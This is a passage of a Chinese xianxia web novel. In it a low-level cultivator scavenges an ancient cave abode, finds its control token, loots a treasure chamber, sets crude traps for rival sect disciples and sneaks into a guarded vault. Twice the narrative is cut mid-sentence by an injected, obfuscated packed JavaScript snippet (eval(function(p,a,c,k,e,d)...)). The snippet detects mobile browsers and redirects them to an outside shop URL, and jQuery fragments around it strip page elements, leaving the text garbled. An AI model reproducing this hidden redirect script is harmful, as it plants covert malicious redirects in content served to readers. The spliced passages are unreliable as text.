孙皓不疑有他,反而敬佩道:“师弟高义!务必小心!那怪物和煞气绝非寻常,若事不可为,速退!”他又提醒了几句,才辨明方向,匆匆离去。 看着孙皓身影消失在山林瘴雾中,林家铭脸上的“正气”瞬间收敛,取而代之的是一抹跃跃欲试的精光。 “好了,碍事的走了,可以回去继续‘捡垃圾’了。”他活动了一下手腕,并没有立刻从出口离开,反而转身,重新钻回了那条通道。 他要去哪?当然是回洞府!不过,不是走原路。有了这条隐秘出口,他相当于有了一个安全的退路和隐蔽的进出通道。 他没有直接返回静修室那边(怪物可能还在附近),而是沿着通道系统,凭借混沌感应和对能量流动的敏锐,朝着洞府更深处、灵力波动更复杂的区域摸去。 这一次,他更加小心,将《万象匿形诀》运转到极致,如同一个真正的幽灵,在昏暗复杂的洞府通道中穿行。避开偶尔传来的打斗声和法术轰鸣(显然是韩厉、楚云、烈焱等人在主通道区域激战),专挑那些偏僻、寂静、看似无价值的岔路和废弃区域。 他的目标很明确:抢在所有人前面,搜刮那些不被注意的“边角料”和可能存在的隐藏空间。主通道的肉让那些天才们去抢吧,他只要偷偷把汤里的精华捞走就行。 很快,他发现了新的“垃圾场”。 --- 新场景:废弃傀儡工坊 这是一个更大的石室,里面堆满了各种残缺的傀儡肢体、断裂的传动杆、失去光泽的能量核心、以及大量废弃的金属和不明材质的碎块。空气中弥漫着淡淡的机油和金属锈蚀味。这里似乎是洞府主人当年制作或维修傀儡的地方,早已废弃。 “好地方!”林家铭眼睛发亮。这些东西对别人是废铁,对他可是上好的“混沌灵根饲料”和“阴器原材料”! 他立刻开始快乐的“捡垃圾”时光。专挑那些残留能量波动较强、材质特殊的部分:一块刻着残缺符文的傀儡胸甲碎片、几根异常坚韧的金属关节、几个颜色暗淡但结构精密的齿轮组、还有一小堆散发着微弱寒气的“冷凝玉”碎屑…… 就在他翻捡到工坊角落一堆特别杂乱、覆盖着厚厚油污的废料时,脚尖踢到了一个硬物。 “铛。” 声音沉闷。拨开表面锈蚀的齿轮和油腻的碎布,下面露出一块灰扑扑、巴掌大小、边缘不规则的金属牌。牌子表面粗糙,沾满黑褐色的油污和陈年积垢,看不清本来面目,也没有任何灵力光华。 林家铭皱了皱眉,用“晦芒”短刃刮了刮表面。刮掉一层污垢,露出底下暗沉的金属底色,以及一些极其模糊、几乎被磨损殆尽的凹凸纹路。 “什么玩意儿?废掉的铭牌?还是某个大型傀儡的编号牌?”他拿起牌子,入手比想象中沉,质地坚硬冰冷。 他尝试注入一丝混沌灵力。 嗡——! 牌子内部,仿佛有什么极其复杂精密的“结构”被这丝外来的、与众不同的灵力轻微触动了一下,发出一声几乎微不可闻的嗡鸣,随即恢复沉寂。与此同时,林家铭感觉到牌子内部传来一种难以言喻的滞涩感和空间错位感,仿佛握着的不止是一块金属,而是一个被压缩的、沉睡的“节点”。 “咦?”林家铭来了兴趣。这牌子……有古怪!虽然灵力反应极其隐晦微弱,但内部结构绝对不简单!远超他之前捡到的任何“垃圾”。 “有点意思……先收着,回去慢慢研究。”他毫不犹豫地将这块灰扑扑的金属牌丢进了储物袋,和那些矿石、废铁放在一起。在他看来,这最多是件年代久远、结构特殊的古法器残件,或许能拆出点稀有材料,或者研究一下古人的炼器思路。 他完全没意识到,自己刚刚随手捡起的,正是整个洞府无数禁制的核心控制密钥,是韩厉、楚云、烈焱等人打破头想要寻找的“府枢令”。 将工坊里有价值的“垃圾”搜刮一空后,林家铭心满意足地离开。他掂了掂更加沉甸甸的储物袋,感觉收获颇丰。 “该去试试,能不能用新捡的‘垃圾’,去那个静修室的门上蹭一蹭了……”他想起那扇紧闭的符文石门,心中一动。那块新得的古怪牌子,似乎对禁制有点反应? 他辨明方向,悄无声息地朝着静修室区域潜回。 而此刻,洞府主通道核心区域,韩厉、楚云、烈焱等人,正与更强大的禁制守护傀儡和彼此猜忌争斗得焦头烂额,浑然不知,他们苦苦追寻的“钥匙”,早已被某个“捡垃圾的”当成废铁揣进了兜里。 21. 钥匙、宝库与阴人预备 林家铭如同壁虎般紧贴着冰冷的洞府石壁,在阴影与废弃通道的掩护下,悄无声息地向着静修室区域潜回。混沌灵力流转全身,不仅隐匿气息,更将他的感知放大到极致,如同无形的触角,探查着前方每一丝能量波动和空气的细微流动。 避开了一处残留着淡淡血腥和焦糊味、显然刚经历过战斗的岔口,又绕过了几条被触发后仍闪烁着危险灵光的禁制通道,他终于再次接近了那条通往静修室的隐秘坑道入口。 入口处的活动灰岩依旧紧闭,周围没有噬金蠕兽活动的痕迹,只有淡淡的腥气和腐蚀液留下的暗色斑驳。 “那怪物要么离开了,要么死了。”林家铭谨慎地感应片刻,确定没有危险,这才以特定手法(之前摸索出的)再次打开暗门,闪身而入。 废弃材料库比之前更加狼藉,噬金蠕兽的疯狂破坏留下了满地的粘液和金属残渣。林家铭没有停留,快速穿过,进入那条通往静修室的狭窄通道。 通道内依旧寂静。很快,他回到了那间安静的静修石室。 夜明珠柔和的光芒下,石桌、玉简、香炉、空玉匣、山水画,一切如故。那扇紧闭的、符文流转的石门,也依旧沉默地矗立在石室另一侧,散发着隐晦而强大的禁制波动。 林家铭走到石门前,再次仔细感应。门上的禁制复杂而古老,结构严密,绝非蛮力可破。他尝试将混沌灵力模拟成之前在《古禁制辨析》残卷中看到的几种基础破解灵力频率,小心地触碰禁制节点。 结果如石沉大海,禁制纹丝不动,甚至连点涟漪都没泛起。 “果然不行,等级差太多了。”林家铭并不意外。他真正的希望,是那块从傀儡工坊捡来的古怪金属牌。 他拿出那块灰扑扑、沾满油污的牌子。这一次,他没有先清理,而是直接将牌子贴在了石门的禁制符文中心。 同时,他将一股比之前试探时更精纯、更凝聚的混沌灵力,缓缓注入金属牌中。 起初,毫无反应。牌子冰冷沉寂,石门禁制也毫无变化。 林家铭没有放弃,持续注入灵力,并尝试调整灵力的频率和属性,模拟“沟通”、“共鸣”、“开启”等意念。 就在他注入的灵力达到某个临界点,且频率偶然与牌子内部某个沉睡结构产生共振时—— 嗡!!! 金属牌猛然一震!表面那些模糊的凹凸纹路骤然亮起一丝极其黯淡、近乎灰色的微光!与此同时,石门上的繁复符文仿佛受到了某种召唤,也开始同步闪烁起来!一股隐晦但清晰的空间波动,从门后传来! “有戏!”林家铭精神大振,立刻集中精神,维持着灵力的注入和频率。 只见金属牌上的灰光与石门符文的灵光交织闪烁,彼此呼应。几个呼吸后,石门上的符文按照特定顺序逐一稳定亮起,最终,在门中央形成一个缓缓旋转的、由光纹构成的钥匙孔虚影! 而那金属牌,在灰光闪烁到极致时,其形状竟微微发生变化,边缘的凹凸与那钥匙孔虚影完美契合! “这就是钥匙!”林家铭心中明悟,毫不犹豫地将金属牌按向那钥匙孔虚影。 “咔哒……” 一声清脆的、仿佛锁芯转动的轻响。 沉重石门上的光芒尽数收敛,随即无声地向内滑开,露出后面一个氤氲着乳白色灵雾的狭窄空间!精纯至极、几乎凝成实质的灵气如同潮水般涌出,瞬间充满了整个静修室! 林家铭只觉得浑身毛孔舒张,体内混沌气旋都自发加速旋转起来,贪婪地吞噬着这高品质的灵气。 灵萃室!果然是洞府真正的精华储藏之地! 他强压住立刻冲进去的冲动,先警惕地观察门内。灵雾虽浓,但在他混沌灵力的感知下,内部结构依稀可辨:中央是一个白玉灵池,四周墙壁嵌有玉格,放置着一些物品。能量循环稳定而强大,但确实存在某种“节制”的警示机制。 “不能贪,不能急。”他深吸一口那精纯灵气,平复心绪,闪身而入,石门在身后悄然关闭。 室内景象与之前感应相符。灵池中灵雾翻滚,池底灵液晶莹,嵌有各色晶石。四周玉格上,紫玉葫芦、寒玉盒、各色金属锭、以及三枚玉简静静陈列。 这一次,有了“钥匙”(府枢令)在手,并且身处其中,林家铭的感知更加清晰。他甚至能通过手中金属牌(府枢令)隐约感知到整个灵萃室与洞府地脉、乃至部分核心禁制的微弱联系。 “这牌子……恐怕不止是这扇门的钥匙。”一个念头闪过,但他暂时没时间深究,当务之急是拿东西! 他迅速行动,目标明确: 1. 玉简:三枚中,《小乾坤禁制补遗》直接收起(完善禁制知识)。《地元养灵术》和《煞气导引初解》快速浏览,记下核心思路和可能对自己有用的部分(如地脉灵气利用、煞气转化平衡),然后放回原处——内容已记住,实物留之无用且惹眼。 2. 丹药:紫玉葫芦里的十二颗“净元丹”,倒出六颗自用,留六颗。 3. 灵草:寒玉盒中三株“冰魄兰”,取走年份最长、阴寒气最精纯的一株。 4. 材料:三块金属锭,取了能量最凝练、体积适中的“庚金”。 5. 灵池:用玉瓶舀取约十分之一灵液;用“晦芒”撬下最小的一块“地灵石”碎块。 每取一物,他都通过府枢令感应灵萃室的能量循环。取走玉简和丹药时,循环仅有微弱涟漪;取走冰魄兰和庚金时,波动稍大;舀取灵液和撬取地灵石时,循环出现了明显的扰动和减弱。 当他取走地灵石碎块后,整个灵萃室的灵雾都明显稀薄了一丝,能量循环发出一种低沉的、仿佛不满的嗡鸣,四周墙壁的符文也微微亮起警示的光芒。 “到极限了!”林家铭立刻停手,将所得之物迅速收好。他不敢再多拿,否则恐怕真会触发那“自主防护机制”,后果难料。 即便如此,收获也已远超预期。净元丹可助修炼破境;冰魄兰是极品阴寒属性材料;庚金乃炼器至宝;灵液和地灵石更是滋养灵根、夯实根基的无上妙品;再加上《小乾坤禁制补遗》的知识……这一趟,赚得盆满钵满。 他最后看了一眼这宝光莹莹的灵萃室,压下心头一丝不舍,果断转身,手持府枢令,再次开启石门,闪身而出。 石门关闭,一切恢复原状,仿佛无人来过。 静修室内灵气浓度仍比外面高出不少,但已不像刚才那样惊人。林家铭平复了一下激动的心情,将府枢令小心收好。此刻,他才真正意识到这块“垃圾”牌子的价值——这很可能是掌控这座洞府部分权限的核心之物! “捡到宝了……”他喃喃自语,眼中闪烁着兴奋的光芒。不过,现在不是深入研究的时候。洞府内还有其他人,尤其是离火宗那帮家伙和可能存在的“第四方”,他得抓紧时间,利用信息差和这把“钥匙”,做更多事情。 他没有立刻离开静修室,而是盘膝坐下,服下一颗刚得到的“净元丹”。 丹药入口即化,化作一股磅礴而精纯的暖流涌入四肢百骸,迅速补充他之前的消耗,甚至让他的修为都隐隐有了一丝增长。炼气五层初期的境界更加稳固,朝着中期迈进。 “好丹药!”林家铭赞了一声,感觉状态恢复到巅峰。 接下来,他要利用府枢令和刚刚获得的《小乾坤禁制补遗》知识,做两件事: 第一,探查洞府核心区域的战况和宝物分布。 他手握府枢令,集中精神,尝试将神识借助令牌的感应延伸出去。起初有些滞涩,但随着他对令牌的熟悉和混沌灵力的适配,一副模糊、断续但涵盖范围极广的洞府能量地图,逐渐在他脑海中勾勒出来。 他能“看”到几条主通道上激烈的灵力碰撞(韩厉、楚云、烈焱等人正在与强大的守护傀儡或彼此交战);能感应到几处灵力异常浓郁或结构特殊的节点(可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“人不犯我,我不犯人。”林家铭活动了一下手腕,眼神却冷了下来,“但你们既然都在这洞里,为了抢东西难免会‘犯’到我头上……不如我先给你们准备点‘小惊喜’。” 他根据府枢令模糊感应的方位,再结合之前孙皓提供的信息和自身的探索记忆,大致规划出了几条烈焱等人可能推进或撤退的路线。 然后,他开始行动。 他像一只忙碌的工蜂,悄然穿梭在洞府偏僻的通道和岔路间。凭借府枢令对低级禁制的微弱影响力和《小乾坤禁制补遗》的皮毛知识,结合他自创的那些阴损玩意儿,开始在一些关键位置布设“礼物”: ·在一条狭窄必经的转弯处,将一个牵引绊索的机括巧妙地嵌进石缝,用碎石和尘土伪装。 ·在一处看起来很适合临时休整的凹陷石壁旁,埋下两枚爆裂石雷子,触发线连着几块松动的岩石。 ·在一段光线昏暗、地面湿滑的通道,洒上特制的超滑油膏(用妖兽油脂和某种滑石粉调制),并在前方视线死角布置了一个简单的幻音阵(低级玉简里学的,只能制造轻微脚步声误导)。 ·甚至,他尝试用府枢令,将一个原本无害的照明符文阵的灵力输出调高到不稳定状态,使其在有人经过时可能突然爆闪,致盲一瞬。 这些布置都很粗糙,对付高手未必致命,但恶心人、制造混乱、拖延时间、消耗灵力的效果绝对一流。而且,他将“混沌灰”和“蚀金毒”的微量成分巧妙地融入了一些布置中,增加了额外的干扰和伤害。 做完这些,他已经消耗了不少灵力和心神。府枢令的运用远比他想象中耗神,对禁制的影响也极为有限且不精准。但足够了。 他最后来到那条通往洞府深处左侧、禁制重重区域的通道附近。这里已经能隐约听到远处主战场传来的轰鸣。他没有靠近,而是找了一个隐蔽的、能观察到通道入口的角落藏好。 他想看看,自己布的“小惊喜”会不会有“客人”上门。同时,也等待机会,看看能不能趁乱,摸进那个疑似库房或控制中枢的复杂禁制区域。 手里握着府枢令,怀里揣着灵萃室的收获,身边是刚布下的阴人陷阱。 林家铭如同一个耐心的猎人,蛰伏在阴影中,嘴角噙着一丝期待的笑意。 洞府的这场“热闹”,他不仅要看,还要亲手添几把火,顺便……把最肥的那块肉,悄悄叼走。 接下来,就看哪条倒霉的鱼儿,先撞进他的网里了。 22. 煞气、陷阱与黄雀在后 静修室外的偏僻通道中,林家铭如同融化的阴影,与冰冷的石壁不分彼此。他的目光穿过拐角处的黑暗,落在那条通往洞府深处、禁制重重区域的通道入口。 怀里,那块灰扑扑的府枢令微微发烫,传递着模糊的方位感和对前方复杂能量结构的隐晦共鸣。借助它和刚刚记下的《小乾坤禁制补遗》碎片知识,林家铭对洞府的部分“脉络”有了更清晰的感知。 他能“感觉”到,左前方那条被重重禁制笼罩的通道深处,有着稳定而强大的灵力源,结构精密复杂,极可能就是洞府的核心库房或者某个控制节点。而右前方更远的主通道区域,激烈的灵力碰撞如同黑夜中的烽火,清晰可辨——韩厉、楚云、烈焱等人正与守护力量或彼此打得不可开交。 “打吧,打得越热闹越好。”林家铭嘴角噙着一丝冷笑,注意力回到自己布设的“小礼物”上。 他选择的几个伏击点,都是基于府枢令感应的能量流动“岔路”或“节点”,以及他对人性(尤其是烈焱那种嚣张性格)的判断。这些地方要么是捷径,要么看起来像藏有便宜可占,要么适合设伏反打。 时间在寂静中流逝,只有远处隐约传来的轰鸣和洞府本身能量循环的低沉嗡鸣。 忽然,府枢令传来一丝微弱的、方向性的悸动——来自他布置第一个牵引绊索的那条狭窄转弯通道! “来客人了。”林家铭精神一振,混沌灵力悄然运转,感知延伸过去。 脚步声杂乱,带着急促和刻意压低的交谈。 “……烈师兄,这边通道看起来安静,说不定能绕到青岚宗那帮人后面!” “小心点,这鬼地方禁制多……妈的,刚才那傀儡差点把老子的护身符打爆!” “快看!前面拐角好像有东西反光?是不是灵石?” 是离火宗的人!听声音,至少有四五个,烈焱很可能就在其中! 林家铭屏息凝神,通过府枢令对那个区域边缘禁制的微弱联系,“看”到了模糊的能量扰动——有人触发了什么! “咔哒!”机括轻响。 “啊!什么东……!”惊呼声戛然而止,取而代之的是□□撞击石壁的闷响和短促的痛哼。 “有陷阱!小心!” “是绊索!妈的,谁在这里布置的?!” “刘师弟!你的腿!” 混乱的怒骂和拉扯声传来。牵引绊索立功了!至少让一个人暂时失去了行动能力,更重要的是打乱了他们的节奏,引起了恐慌和猜疑。 “混蛋!肯定是青岚宗那些阴险小人设的套!”烈焱愤怒的声音响起,“搜!看看还有没有别的!老子要扒了他们的皮!” 离火宗弟子们变得更加谨慎,速度慢了下来,开始仔细检查周围。但这正好落入了林家铭的第二个陷阱——超滑油膏配合幻音阵的区域。 “哧溜——!” “哎哟!” “什么声音?那边!” “地上好滑!小心!” 惊呼和摔倒声再次传来。幻音阵制造的轻微脚步声将他们引向更滑的区域,接二连三的摔倒和碰撞让这群本就有些惊弓之鸟的离火宗弟子狼狈不堪,怒气值飙升,但更多的是对未知陷阱的恐惧。 “烈师兄,这地方太邪门了!不像是临时布置的陷阱,倒像是……洞府本身就有的机关被触发了?”一个弟子声音发颤。 “放屁!洞府机关哪有这么……这么下作的!”烈焱骂骂咧咧,但语气中也带上了一丝不确定。林家铭的陷阱粗糙,但正因为粗糙,反而像是年久失修的自然触发,或者……某种恶趣味的遗留。 趁着离火宗众人陷入混乱和迟疑,林家铭不再关注那边。他的目的已经达到——拖延、消耗、制造心理压力。他真正的目标,是左前方那个禁制重重的区域。 他如同鬼魅般离开藏身之处,沿着阴影快速向那条通道摸去。手中府枢令的感应越来越清晰,前方通道入口处,肉眼可见的淡金色符文在空气中若隐若现,组成一层层复杂的光幕,散发着令人心悸的排斥力。 这里是洞府真正的重地,防护远非外围可比。 林家铭在距离入口十余丈外停下,藏身于一块凸起的巨石后。他尝试将神识借助府枢令探向那些禁制。 “嗡……”禁制光幕微微波动,传来强大的反弹之力,但府枢令仿佛一张特殊的“通行证”,让他的神识没有立刻被绞碎,而是如同水滴融入海绵,艰难地渗入了一丝。 顿时,一副更加清晰的内部结构图浮现在他脑海:入口后是一条长约五十丈的笔直通道,通道尽头是一扇厚重的金属大门。通道两侧和顶部,布满了各种攻击性禁制——雷火、冰锥、腐蚀毒雾、重力碾压……而且这些禁制彼此联动,牵一发而动全身。 “硬闯就是找死。”林家铭眉头紧锁。即便有府枢令,以他现在的修为和对令牌的粗浅运用,也绝对无法安然通过这条死亡通道。 他需要更深入地“理解”这里的禁制,或者……找到其他入口。 他继续通过府枢令感应,将感知向通道两侧的岩壁延伸。突然,在通道左侧大约中段的位置,他感应到了一丝极其微弱的能量“淤塞”和结构“薄弱”感。 那里……好像曾经有一个侧门或者通风口,后来被刻意封堵了,但封堵得并不完美,留下了细微的破绽。 “漏洞!”林家铭眼睛一亮。这种古老的洞府,历经岁月和多次改造(邪修占据),难免会有顾及不到的死角或后来修补的痕迹。 他立刻行动起来,悄无声息地摸到通道左侧的岩壁附近。这里距离入口禁制光幕尚有数丈,相对安全。 他伸出手,混沌灵力凝聚于指尖,模拟出土石渗透的柔和频率,轻轻按在那处能量淤塞的岩壁上。 果然!灵力渗透比周围容易得多,岩壁内部的结构也略显松散。 他从储物袋里掏出那柄“晦芒”短刃。短刃如今已是中品法器,锋锐无匹,更附带侵蚀破甲特性。他将混沌灵力灌注刃身,小心翼翼地在岩壁上切割起来。 动作必须轻、慢、稳定,不能引起大的震动和灵力波动,以免触发邻近的禁制。 这是一个极其耗费心力和灵力的精细活。汗水很快浸湿了他的鬓角。他如同一个最有耐心的工匠,一点一点地削切、剥离着岩石。被切下的碎石,被他用准备好的布袋小心接住,收入储物袋,不留痕迹。 足足花了近半个时辰,他才在岩壁上掏出一个仅容一人蜷缩通过的狭窄孔洞,深度约三尺,后面依然是坚实的岩层,但那股淤塞和薄弱感更明显了。 “快到了……”林家铭喘了口气,吞下一颗普通回气丹,继续挖掘。 又过了两炷香时间,“晦芒”短刃前端突然一空! 挖穿了! 一股陈腐、干燥、带着淡淡金属和尘土味道的空气,从孔洞另一头涌出。 林家铭心中一喜,小心地将孔洞扩大到勉强能钻过去的程度,然后先将神识探入。 孔洞后面,是一个极其狭窄、布满灰尘和蛛网的夹层空间,像是当年修建通道时留下的施工缝隙或检修道,高度不足五尺,宽度仅两尺余,向前后延伸,漆黑一片。 但更重要的是,通过府枢令,他能感觉到,这个夹层空间的另一侧岩壁,距离那条死亡通道尽头的金属大门所在的石室,仅有薄薄一层之隔!而且,那层岩壁上,似乎有一个被废弃的、用普通石材简单封堵的旧通风口! “天助我也!”林家铭几乎要笑出声。谁能想到,洞府最严密的库房外围,会留下这样一条被遗忘的“毛细血管”? 他不再犹豫,收敛气息,蜷缩身体,如同泥鳅般钻进了那个狭窄憋闷的夹层。 里面灰尘厚积,每走一步都扬起呛人的尘雾。他不得不运起一丝微弱的灵力护住口鼻,同时《万象匿形诀》运转到极致,将自身与这阴暗陈旧的环境彻底融合。 沿着夹层向前摸索了约二十丈,府枢令的感应越来越强。他停下,用手触摸右侧岩壁。这里果然有一块与周围岩壁颜色、质地略有不同的方形石砖,边缘有细微的缝隙。 就是这里了! 他再次拿出“晦芒”,沿着缝隙小心切割,将粘合材料剔除。很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189083|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,整块石砖变得松动。他轻轻将其向外推出一寸,透过缝隙向内望去。 里面是一个不大的石室。石室中央,正是他在外面感应到的那扇厚重的金属大门!大门紧闭,表面刻满繁复的符文,灵光流转。大门两侧,矗立着两尊锈迹斑斑、但依旧散发着危险气息的金属傀儡,一动不动,仿佛沉睡。石室顶部和四周墙壁,也有隐隐的禁制光芒闪烁。 这里就是死亡通道的尽头,库房(或控制中枢)的最后门户! 而他现在的位置,在石室一侧墙壁的高处,距离地面约一丈,位置极其隐蔽。那个旧通风口,正好开在墙壁与天花板的交界角落,被阴影笼罩,极难察觉。 “完美。”林家铭心中大定。他没有立刻进去,而是仔细观察石室内的情况。 两尊傀儡的气息很强,至少相当于炼气后期,而且材质特殊,恐怕不好对付。四周的禁制也不简单。硬闯依然不明智。 但……他现在有个绝佳的观察和潜伏位置。可以等。 等什么? 等外面那些人打破头冲进来,或者……触发这里的禁制,消耗掉守护力量。 他如同一只最有耐心的蜘蛛,静静地伏在暗处,将呼吸和心跳降至最低,甚至连思维都放缓,只留下一丝清明通过府枢令感应着内外的能量变化。 时间再次缓慢流逝。 不知过了多久,府枢令忽然传来剧烈的波动——来自死亡通道方向! 禁制被触发了!而且是大规模、暴力触发! 雷鸣、火光、冰爆、毒雾弥漫的灵力波动即使隔着岩壁也能隐约感受到!通道内的禁制被全面激活,正在疯狂攻击闯入者! 激烈的打斗声、怒吼声、惨叫声隐约传来! “打进来了!是韩师叔他们?还是离火宗突破了?”林家铭精神高度集中,目光死死盯着那扇金属大门。 石室内的两尊傀儡,眼窝中陡然亮起猩红色的光芒!它们缓缓转头,面向金属大门,做出了戒备姿态。四周墙壁的禁制也明显活跃起来。 “轰隆——!!!” 一声震耳欲聋的巨响!金属大门猛地一震,门上的符文疯狂闪烁! 有人在外面强攻大门! 紧接着,更密集的法术轰击声和兵刃碰撞声传来,其间夹杂着怒喝: “烈焱!你找死!” “韩厉!宝物有缘者得之!破开此门,各凭本事!” 是韩厉和烈焱!他们竟然联手(或者说暂时停战)在攻击大门?看来外面的争斗有了结果,或者他们意识到单独无法突破通道禁制,暂时合作了? 大门在内外夹击(外面强攻,里面禁制反噬)下,发出不堪重负的呻吟。门上的符文开始明灭不定,灵光迅速黯淡。 “就是现在!”林家铭看准时机!在大门即将被攻破、室内禁制被主要吸引向大门方向、两尊傀儡也全力戒备正面的刹那—— 他悄无声息地,将那块松动的石砖彻底推开,身体如同没有重量的羽毛,从高处通风口滑落,精准地落在了石室最内侧、最阴影的角落里! 落地无声,气息完美收敛。 几乎在他落地的同时—— “轰!!!” 金属大门终于被狂暴的力量轰开!碎裂的金属和激荡的灵力乱流冲进石室! “冲进去!”烈焱的怒吼。 “小心傀儡!”韩厉的警告。 数道身影随着乱流冲入石室,正是韩厉、楚云、陈风、苏晴、洪刚等青岚宗骨干,以及烈焱和另外两名离火宗炼气后期弟子!人人带伤,气息不稳,显然经过了一番苦战。 而石室内,两尊傀儡眼中的红光大盛,挥舞着锈迹斑斑却势大力沉的巨臂,迎头痛击!四周墙壁的禁制也射出各色光华,交织成死亡之网! 大战,在这最后的石室内轰然爆发! 林家铭蜷缩在绝对黑暗的角落,身体紧贴冰冷岩壁,嘴角却缓缓勾起。 螳螂捕蝉,黄雀在后。 现在,黄雀就位了。 只待时机成熟,便可攫取最大的那份果实。 23. 黄雀在后,龙吟隐现 石室内的战斗瞬间进入白热化。 两尊锈迹斑斑的金属傀儡远比看上去更可怕。它们动作看似迟缓,但力量奇大,每一次挥舞都带起沉闷的破风声,锈蚀的表面竟然能硬抗飞剑和法术轰击,只留下浅浅白痕。更麻烦的是,它们似乎能吸收部分攻击的灵力,体表的锈迹在战斗中还隐隐有暗红色煞气流转——显然也受到了“地火阴煞髓”的长期浸染。 加上石室四周墙壁不断激发的各种攻击性禁制,雷火冰锥毒雾交织,将不大的空间变成了死亡陷阱。 青岚宗和离火宗众人虽然联手破门,但彼此间根本毫无信任,反而互相提防,无法形成有效配合。既要抵挡傀儡和禁制的攻击,又要小心不被“盟友”暗算,一时间手忙脚乱,险象环生。 “烈焱!先合力解决这两个铁疙瘩!”韩厉一剑荡开一尊傀儡砸下的巨拳,剑光在傀儡手臂上留下一道深痕,却未能将其斩断,自己反而被反震得气血翻腾。 “用你说!”烈焱怒吼,双手掐诀,一道炽烈的火柱轰在另一尊傀儡胸口,炸开大片锈片,露出底下暗沉的金属躯干,但傀儡只是踉跄一步,眼中红光更盛,张口喷出一股带着铁锈味的黑色煞气火焰,逼得烈焱慌忙闪避。 楚云身法飘逸,剑光如流水般在禁制光华中穿梭,试图寻找傀儡的弱点或禁制的破绽,但眉头紧锁,显然进展不大。苏晴的法术和洪刚的拳脚也只能起到牵制作用。 陈风最为悍勇,剑法大开大合,与一尊傀儡正面对攻,却被傀儡一拳震得虎口崩裂,长剑险些脱手。 “这样下去不行!消耗太大!”苏晴娇喝道,她刚用冰墙挡住一波毒雾,脸色有些发白。 缩在角落阴影里的林家铭,如同一个纯粹的旁观者,冷静地分析着战局。混沌灵力让他对能量流动格外敏感,他能“看”到那两尊傀儡的核心能量源在胸腔位置,被厚厚的金属和煞气保护着。四周的禁制虽然密集,但能量供给似乎有微弱的周期性波动。 “弱点在胸腔,禁制每三息有一次约十分之一瞬的灵力输出低谷……”林家铭默默计算着,“但这些家伙现在被缠住了,没人能抓住那转瞬即逝的机会。除非……” 他的目光落在了那扇被轰破的金属大门后。 门后并非直接就是宝藏,而是一条向下的、黑黢黢的阶梯,不知通往何处。但通过府枢令,他能清晰地感应到,阶梯下方深处,传来一股让他混沌灵力都为之悸动的磅礴、古老、且带着冲天煞气与不屈战意的能量源! 那能量如此独特,如此强大,甚至隐隐压过了石室内的战斗波动。它仿佛沉睡了万古的凶兽,正在被上方的激烈战斗和灵力扰动缓缓惊醒。 “那下面……就是‘葬兵冢’?还是别的什么?”林家铭心跳微微加速。府枢令传来的渴望感前所未有的强烈,连带着他怀里的“黑水石”都隐隐发烫。 但此刻,他不能动。石室内激战正酣,任何异动都可能被发现。他需要等,等一个最佳的时机。 战斗持续着,不断有人受伤。一名离火宗弟子被禁制雷光擦中,半边身子焦黑,惨叫着退出战团。洪刚也被傀儡一拳扫中肩膀,骨裂声清晰可闻,痛哼着后退。 “韩厉!别藏着掖着了!用你那招‘裂金剑气’!我以离火秘法配合,先废一个!”烈焱眼中闪过狠色,似乎下了决心。 韩厉看了他一眼,又看了看越发不利的战局,一咬牙:“好!楚云、陈风,为我护法三息!” 楚云和陈风立刻强提灵力,剑光暴涨,暂时缠住一尊傀儡。苏晴也全力催动法力,冰系法术暂时延缓了另一尊傀儡和部分禁制的攻击。 韩厉深吸一口气,手中长剑高举,一股锐利无匹、仿佛能切开金石的剑气开始凝聚。 烈焱则双手结印,周身火焰从赤红转为暗金,温度骤升,空气都扭曲起来,一股狂暴的毁灭气息弥漫。 两人显然要施展损耗极大但威力惊人的合击之术! 石室内的能量因为两人的蓄势而剧烈波动。两尊傀儡似乎也感应到了威胁,发出低沉的咆哮,放弃其他目标,齐齐转向韩厉和烈焱,眼中红光大盛,体表煞气翻腾,准备硬抗。 就是现在! 所有人的注意力都被即将爆发的惊天对撞吸引!禁制的光芒也被那蓄势的锋锐与灼热干扰! 林家铭眼中精光爆闪!身影如同蛰伏已久的毒蛇,从阴影中暴起! 他没有冲向战团,也没有冲向那扇破门后的阶梯,而是如同鬼魅般掠向石室另一侧,那里是禁制相对薄弱、且靠近一处岩壁的地方——府枢令感应显示,那里有一条极其隐蔽的、被幻象禁制遮掩的侧向通风管道,似乎是当年建造时预留的,直通下方那片煞气冲天的区域! 他的动作快到了极致,将《万象匿形诀》催发到极限,身影几乎化为一道模糊的灰影,在狂暴的能量乱流和漫天光影中一闪而过! “什么人?!”楚云最为警觉,虽然大部分心神在护法,但仍捕捉到了那一闪而逝的异常波动,厉声喝道。 但已经晚了! 林家铭的手已经按在了那处看似平整的岩壁上!混沌灵力模拟出府枢令传来的特定频率,同时将《小乾坤禁制补遗》中关于幻象禁制弱点的知识运用出来! “嗡!” 岩壁上涟漪荡漾,幻象破碎,露出一个仅容一人通过的、黑漆漆的圆形管道口!一股远比石室内更加浓郁、更加精纯、也更加暴戾的古战场煞气混合着龙威,如同压抑了万年的火山,从管道口喷涌而出! “吼——!!!” 仿佛来自远古的、充满了痛苦、愤怒与不屈的龙吟煞吼,顺着喷涌的煞气,猛地从管道深处传来!声音不大,却直接响彻在每个人的神魂深处!震得所有人动作一滞,心神摇曳! 就连那两尊傀儡眼中的红光都出现了瞬间的紊乱! “下面有东西!”烈焱惊骇。 “煞气源头!”韩厉脸色剧变。 而林家铭,在这龙吟煞吼响起的瞬间,非但没有被震慑,体内混沌气旋反而疯狂转动,传来一股强烈的吞噬和亲近的渴望!仿佛那下面的东西,是他天生的补品和伙伴! 他没有丝毫犹豫,在那龙吟余韵未消、众人心神受慑、战局出现刹那空白的绝佳时机,身体一缩,如同游鱼般,毫不犹豫地钻进了那个漆黑的管道口! “拦住他!”楚云最先反应过来,剑光如电,直刺管道口!但他距离稍远,又被龙吟所慑,慢了一线! 